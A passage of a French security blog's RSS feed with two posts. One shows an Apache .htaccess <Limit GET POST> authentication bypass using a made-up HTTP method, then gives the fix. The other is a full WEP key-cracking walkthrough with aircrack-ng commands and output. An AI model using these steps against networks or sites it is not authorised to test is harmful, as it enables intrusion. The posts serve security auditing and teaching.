			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.john-jean.com/apache_logo_medium.png" alt="Faille htaccess" width="165" height="114" /> <a title="Cracker clé Wep" href="http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37" target="_blank">Toujours lors de nos audits de sécurité</a>, une faille qui revient très régulièrement est la mauvaise configuration d&#8217;une protection par le biais d&#8217;un <a title="Gestion htaccess dans apache" href="http://httpd.apache.org/docs/1.3/howto/htaccess.html" target="_blank">htaccess</a>. La plupart des administrateurs ou webmasters fouinent sur le net afin de créer leur .htaccess, et de fait, se retrouvent avec des choses dont ils n&#8217;ont pas réellement besoin, ou en tout cas qu&#8217;ils n&#8217;ont pas tout à fait compris. Bon, je pense que mon teasing a fait son petit effet, y&#8217;a plus qu&#8217;à cliquer sur le lien suivant pour lire la suite.</p>
<p><span id="more-89"></span></p>
<p>Bon j&#8217;avoue, j&#8217;ai un peu triché, derrière ce titre racoleur se trouve une erreur de configuration assez grossière, mais que l&#8217;on retrouve, sans exagérer dans 70% des cas. Le premier responsable de cette faille est, il me semble, le site <a href="http://www.commentcamarche.net/" target="_blank">http://www.commentcamarche.net/</a>. Pourquoi ca ? Simplement parce qu&#8217;ils sortent premier sur la recherche &laquo;&nbsp;<a href="http://www.google.fr/search?hl=fr&amp;q=creation+htaccess&amp;btnG=Recherche+Google&amp;meta=&amp;aq=f&amp;oq=" target="_blank">Création htaccess</a>&laquo;&nbsp;.</p>
<p>Et comment nous proposent-ils de créer un htaccess ?<br />
Je cite:</p>
<pre class="code">ErrorDocument 403 http://www.commentcamarche.net/accesrefuse.php3
AuthUserFile /repertoire/de/votre/fichier/.FichierDeMotDePasse
AuthGroupFile /dev/null
AuthName "Accès sécurisé au site CCM"
AuthType Basic
&lt;LIMIT GET POST&gt;
Require valid-user
&lt;/LIMIT&gt;</pre>
<p>Donc si l&#8217;on fait un tour rapide:</p>
<ul>
<li>La première ligne donne la page où l&#8217;on doit rediriger lors d&#8217;une 403 (Erreur d&#8217;auth ou deny from all par exemple)</li>
<li>La seconde donne le chemin du fichier contenant les mots de passe</li>
<li>La troisième le chemin du fichier de groupe</li>
<li>La quatrième, c&#8217;est le wording du prompt login / pass</li>
<li>La cinquième donne le mode d&#8217;authentification, dans ce cas auth basic (mod_auth_basic)</li>
<li>Enfin, les trois dernières expliquent que pour exécuter les requêtes GET et POST, il faut être un utilisateur authentifié.</li>
</ul>
<p>Tout cela est assez schématisé, mais l&#8217;idée est là. Donc si je tente d&#8217;accéder à la page protégée, j&#8217;effectuerais une requête de type:</p>
<pre class="code">GET http://www.example.com/admin/index.php HTTP/1.0</pre>
<p>Et je vais donc atterir sur une 401 Authorization Required. Où se situe l&#8217;astuce ? Apache ne gère pas correctement les requêtes mal formée. Je m&#8217;explique, si à la place de faire un GET ou un POST, je fais un:</p>
<pre class="code">JOHN http://www.example.com/admin/index.php HTTP/1.0</pre>
<p>Apache me renverra le contenu de la page présente derrière /admin/index.php (200). Lorsque je dis que 70% des sites sont faillibles, c&#8217;est tellement il est facile pour un webmaster paresseux de réaliser cette configuration. htaccess permet de modifier localement la configuration d&#8217;apache, du coup chaque webmaster peut créer sa propre faille en suivant les conseils d&#8217;un site généraliste comme commentcamarche. Deux coupables: le webmaster car il dépose une config qu&#8217;il ne comprend pas et Apache car il interprète les requêtes mal formée comme étant des GET. Grosso-modo, il est possible pour le premier venu d&#8217;aller se balader sur les backoffices en forgeant simplement sa requête à base de JOHN.</p>
<p>Comment patchons nous cette faille ?<br />
Tout simplement en ôtant de notre htaccess la limit GET, POST. En effet, aucun intérêt de limiter à GET et POST le require valid-user si ce dernier est effectivement nécessaire. D&#8217;ailleurs dans les <a title="Configuration Apache htaccess" href="http://httpd.apache.org/docs/2.2/mod/core.html#limit" target="_blank">préconisations globales d&#8217;apache</a>, ils recommandent de ne pas utiliser les limit lors de la création de htaccess. Je cite:</p>
<blockquote><p>Access controls are normally effective for     <strong>all</strong> access methods, and this is the usual     desired behavior. <strong>In the general case, access control     directives should not be placed within a     <code class="directive">&lt;Limit&gt;</code> section.</strong></p>
<p>The purpose of the <code class="directive">&lt;Limit&gt;</code> directive is to restrict the effect of the access controls to the     nominated HTTP methods. For all other methods, the access     restrictions that are enclosed in the <code class="directive">&lt;Limit&gt;</code> bracket <strong>will have no     effect</strong>. The following example applies the access control     only to the methods <code>POST</code>, <code>PUT</code>, and     <code>DELETE</code>, leaving all other methods unprotected.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/faille-dans-la-creation-dun-htaccess-89/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Cracker une clé WEP avec une carte Intel Corporation PRO/Wireless 3945ABG</title>
		<link>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37#comments</comments>
		<pubDate>Sun, 21 Dec 2008 19:18:01 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[aireplay]]></category>
		<category><![CDATA[airmon]]></category>
		<category><![CDATA[airodump]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[clé]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[Informatique]]></category>
		<category><![CDATA[wep]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=37</guid>
		<description><![CDATA[Pour les audits de sécurité informatique, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est BackTrack. Tout d&#8217;abord parce que c&#8217;est un LiveCD, mais également parce que les softs nécessaires à l&#8217;audit WiFi sont déjà compilés. Mon nouveau laptop dispose d&#8217;une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J&#8217;ai [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.john-jean.com/wifi_icon.jpg" alt="Logo Wifi" width="165" height="114" /> Pour les <a title="audit securite" href="http://www.wargan.com" target="_blank">audits de sécurité informatique</a>, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack</a>. Tout d&#8217;abord parce que c&#8217;est un LiveCD, mais également parce que les softs nécessaires à l&#8217;audit WiFi sont déjà compilés. Mon nouveau laptop dispose d&#8217;une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J&#8217;ai googlé pour voir si un endroit recensait les méthodes d&#8217;attaques avec cette carte, et je n&#8217;ai pas trouvé de résultat pertinent. J&#8217;ai donc entrepris de rédiger un HowTo afin que cela puisse servir aux personnes moins expertes, en tout cas moins patientes et qui entreprendraient de tester la sécurité de leur réseau.</p>
<p><span id="more-37"></span>Il y a deux méthodes pour analyser les données: soit l&#8217;on se contente de sniffer passivement, soit on utilise une attaque par framentation qui permet d&#8217;injecter des packets et donc de réduire considérablement le temps de sniffing. A noter que <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack 3</a> optimise assez largement les algos pour cracker, il n&#8217;est plus nécessaire d&#8217;avoir beaucoup d&#8217;IVs pour décrypter une clé WEP.</p>
<p>Après avoir booté sur le LiveCD, voici comment cela se présente:</p>
<p>// Tout d&#8217;abord on charge le driver pour la fameuse carte<br />
<span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # modprobe -r iwl3945<br />
bt ~ # modprobe ipwraw</span></span></p>
<p><span style="font-size: small;">/</span>/ On la passe en mode monitor<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airmon-ng start wifi0</span></span></p>
<p>// On va dans un premier temps rechercher les réseaux wifi actifs et ceux qui ont le plus de DATA qui transitent ainsi que la meilleur couverture. Les data correspondent aux IVs nécessaires à crackerla clé WEP.<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airodump-ng wifi0</span></span></p>
<p>// Le but est de prendre celle qui a le plus de beacons, et lorsque l&#8217;on choisit celle-ci, on repère bien le channel, le BSSID et l&#8217;ESSID. Dans mon cas, supposons:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Channel: 11<br />
BSSID: 00:01:02:03:04:05<br />
ESSID: RESEAU-CRYPT</span></span></p>
<p>A partir d&#8217;ici on a grosso-modo les deux solutions en question, sniffer passivement, où bien injecter les fameuses données pour accélérer le processus. Si vous voyez d&#8217;emblé beaucoup de donnée transiter, sniffer + cracking peut potentiellement suffire.</p>
<p>// Je manque de patience, je vais réaliser une attaque par fragmentation pour injecter de nombreuses données. Tout d&#8217;abord, je vais m&#8217;auth sur le système distant (-e représente le SSID de la cible, -h représente l&#8217;adresse Mac source, généralement, nous):<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0</span></span></p>
<p>Généralement cette commande doit vous retourner:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: small;">b<span style="font-size: x-small;">t ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0<br />
11:56:39  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.</span></span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">11:56:39  Sending Authentication Request (Open System) [ACK]<br />
11:56:39  Authentication successful<br />
11:56:39  Sending Association Request [ACK]<br />
11:56:39  Association successful (AID: 1)</span></span></p>
<p>Cependant il arrive parfois que vous obteniez une erreur de ce type (si vous avez laissé le scan tourner par exemple).</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0<br />
11:55:23  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 12<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
11:55:23  wifi0 is on channel 12, but the AP uses channel 11</span></span></p>
<p>Comment résolvons-nous cela ? Simplement en faisant la bascule sur la bonne interface:</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airmon-ng start wifi0 11<br />
wifi0           Centrino a/b/g  ipwraw-ng (monitor mode enabled)</span></span></p>
<p>//Bien, après cet aparté, revenons à nos moutons. Vous en êtes normalement au 11:56:39  Association successful (AID: 1).  Nous allons désormais générer une keystream valide afin de forger notre packet d&#8217;injection:</p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # aireplay-ng -5 -e RESEAU-CRYPT wifi0<br />
No source MAC (-h) specified. Using the device MAC (05:04:03:02:01:00)<br />
11:57:55  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
11:57:55  Waiting for a data packet&#8230;<br />
Read 2791 packets&#8230;</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Size: 371, FromDS: 0, ToDS: 1 (WEP)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">BSSID  =  00:01:02:03:04:05<br />
Dest. MAC  =  FF:FF:FF:FF:FF:FF<br />
Source MAC  =  BLABLA</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">0&#215;0000:  0841 3a01 0016 3810 7484 0013 ce8a 8259  .A:&#8230;8.t&#8230;&#8230;Y<br />
0&#215;0010:  ffff ffff ffff 1000 0100 0000 2f23 a566  &#8230;&#8230;&#8230;&#8230;/#.f<br />
0&#215;0020:  8a89 e333 2c18 02c2 0c65 fc79 7eb9 7398  &#8230;3,&#8230;.e.y~.s.<br />
0&#215;0030:  42fc a81c e682 179c ac10 f1a3 d83e 3770  B&#8230;&#8230;&#8230;&#8230;&gt;7p<br />
0&#215;0040:  a3ff cb34 62e0 e232 3e17 8340 544b ee1d  &#8230;4b..2&gt;..@TK..<br />
0&#215;0050:  f06c a543 3b51 05d6 bdb0 a10a a159 4fbd  .l.C;Q&#8230;&#8230;.YO.<br />
0&#215;0060:  2499 1efc 58b3 1cfc bc72 b109 a9ee 29b6  $&#8230;X&#8230;.r&#8230;.).<br />
0&#215;0070:  6234 b6d8 4b90 a3b0 a1ac f626 5603 82d9  b4..K&#8230;&#8230;&amp;V&#8230;<br />
0&#215;0080:  5d0e 27a1 453a f536 86b5 ee7c f73f 9bc1  ].&#8217;.E:.6&#8230;|.?..<br />
0&#215;0090:  2813 b8e4 a24c 3bce dc98 2be2 6a79 c313  (&#8230;.L;&#8230;+.jy..<br />
0x00a0:  f530 7596 4430 958d 2406 de88 7664 481f  .0u.D0..$&#8230;vdH.<br />
0x00b0:  7cf2 c2ac 8211 a26f c217 1fd1 d30f 1949  |&#8230;&#8230;o&#8230;&#8230;.I<br />
0x00c0:  b12e 6507 cab2 6619 d6d8 9a1c a018 720c  ..e&#8230;f&#8230;&#8230;.r.<br />
0x00d0:  e004 2c4f 533b 1326 0c57 0006 2950 e468  ..,OS;.&amp;.W..)P.h<br />
&#8212; CUT &#8212;</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Use this packet ? y</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Saving chosen packet in replay_src-0726-115911.cap<br />
11:59:20  Data packet found!<br />
11:59:20  Sending fragmented packet<br />
11:59:20  Got RELAYED packet!!<br />
11:59:20  Trying to get 384 bytes of a keystream<br />
11:59:20  Got RELAYED packet!!<br />
11:59:20  Trying to get 1500 bytes of a keystream<br />
11:59:20  Got RELAYED packet!!<br />
Saving keystream in fragment-0726-115920.xor<br />
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream</span></span></p>
<p>//Maintenant que nous avons notre keystream, on change de soft le temps de générer le packet d&#8217;injection. Packetforge-ng est là pour ca.<br />
//arp définit le type d&#8217;attaque<br />
//-y passe le fragment à utiliser généré par airplay<br />
//-a adresse MAC de la cible (BSSID)<br />
//-h adresse MAC de l&#8217;attaquant<br />
//-k notre adresse ip suppossée<br />
//-l adresse ip supposée du routeur<br />
//-w permet d&#8217;écrire le packet d&#8217;injection final<br />
<span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # </span></span><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">packetforge-ng  &#8211;arp -y fragment-0726-115920.xor -a 00:01:02:03:04:05 -h 05:04:03:02:01:00 -k 192.168.1.100 -l 192.168.1.1 -w audit.cap<br />
Wrote packet  to: alice.cap</span></span></p>
<p>//Essayons maintenant d&#8217;injecter des données histoire de voir si tout a fonctionné:</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0<br />
12:04:07  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
Saving ARP requests in replay_arp-0726-120407.cap<br />
You should also start airodump-ng to capture replies.<br />
Read 5394 packets (got 2051 ARP requests and 3234 ACKs), sent 2652 packets&#8230;(500 pps)</span></span></p>
<p>Bien, tout fonctionne, à partir de maintenant, cracker la clé wep ne prendra pas plus de trois minutes.  Il faut parfois se ré-authentifier avant de lancer l&#8217;injection de donnée. Vous pouvez stopper l&#8217;injection tout marche. Pour cracker définitivement la clé, cela se passe en trois temps:</p>
<p>// On sniffe l&#8217;interface sur laquelle nous avons travaillé:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airodump-ng -w capture &#8211;channel 11 wifi0</span></span></p>
<p>// Les datas ne bougent alors pas beaucoup. On injecte donc les données:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0</span></span></p>
<p>//Enfin, on lance, en parallèle à l&#8217;envoi de donnée, le crack du fichier dans lequel on écrit la capture. Ce n&#8217;est pas grave si lorsque vous lancez le crack il n&#8217;y a pas encore assez d&#8217;IVs, il est reloadé régulièrement.</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aircrack-ng capture-01.cap<br />
Opening capture-01.cap<br />
Read 121863 packets.</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">#  BSSID              ESSID                     Encryption</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">1  RESEAU-CRYPT2                   No data &#8211; WEP or WPA<br />
2  RESEAU-CRYPT3                   No data &#8211; WEP or WPA<br />
3  00:01:02:03:04:05               RESEAU-CRYPT              WEP (33689 IVs)<br />
4  RESEAU-CRYPT4                   No data &#8211; WEP or WPA<br />
5  RESEAU-CRYPT5                   None (0.0.0.0)<br />
6  RESEAU-CRYPT6                   No data &#8211; WEP or WPA<br />
7  RESEAU-CRYPT7                   No data &#8211; WEP or WPA</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Index number of target network ? 3</span></span></p>
<p>// On selectionne le ESSID sur lequel on a travaillé, et là magie:</p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # </span></span><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Aircrack-ng 1.0 rc1 r1085</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">[00:00:03] Tested 1339440 keys (got 33677 IVs)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">KB    depth   byte(vote)<br />
0    1/  2   2C(40192) 5E(39424) A0(39424) A4(39424) DA(39168) 28(38912) 33(38912)<br />
1    0/  1   A6(47616) 30(41472) 15(40960) BF(40960) 35(40448) 42(40192) DE(39936)<br />
2    0/  1   FA(48640) DE(41216) 11(40192) B8(39936) 29(39680) 3F(39168) 68(39168)<br />
3    0/  1   BA(50432) 68(41216) 62(40704) EA(39936) ED(39936) BB(39680) 13(39424)<br />
4    0/  2   3E(44288) 9F(43264) 14(42752) 89(41216) A2(40960) 3E(40192) 7E(39680)<br />
5    0/  1   A0(46080) 6B(43264) 07(41472) 5F(41472) 0F(41216) DB(41216) EF(40448)<br />
6    1/  2   16(41984) 79(40448) 8E(40448) F1(39936) F2(39936) 66(39680) AB(39680)<br />
7    0/  2   7A(44032) 46(43264) 97(41984) 77(41216) 5A(39936) E0(39936) 18(39680)<br />
8    0/  1   75(45056) 75(42752) 67(41472) 34(40960) 08(40448) 87(40448) 15(40192)<br />
9    0/  1   F3(46336) 26(41216) E8(41216) 74(40960) C9(40448) CD(40448) 2B(39936)<br />
10   17/ 10   E7(38400) 10(38144) 27(38144) 7A(38144) A8(38144) B1(38144) 4C(37888)<br />
11    0/  2   AB(46080) DD(45056) 98(41472) DC(41216) 26(40960) 3D(40960) 1A(40704)<br />
12    0/  1   A8(46080) 9A(41728) C7(41216) 00(39680) 1A(39168) 62(39168) CD(39168)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">KEY FOUND! [blabla]<br />
Decrypted correctly: 100%</span></span></p>
<p>Si les suites air* ne vous sont pas familières, je vous conseille d&#8217;aller vous balader par ici:<br />
<a href="http://linux.die.net/man/1/airmon-ng" target="_blank">http://linux.die.net/man/1/airmon-ng</a><br />
<a href="http://linux.die.net/man/1/airodump-ng" target="_blank">http://linux.die.net/man/1/airodump-ng</a><br />
<a href="http://linux.die.net/man/1/aireplay-ng" target="_blank">http://linux.die.net/man/1/aireplay-ng</a><br />
<a href="http://linux.die.net/man/1/packetforge-ng" target="_blank">http://linux.die.net/man/1/packetforge-ng</a><br />
<a href="http://linux.die.net/man/1/aircrack-ng" target="_blank">http://linux.die.net/man/1/aircrack-ng</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
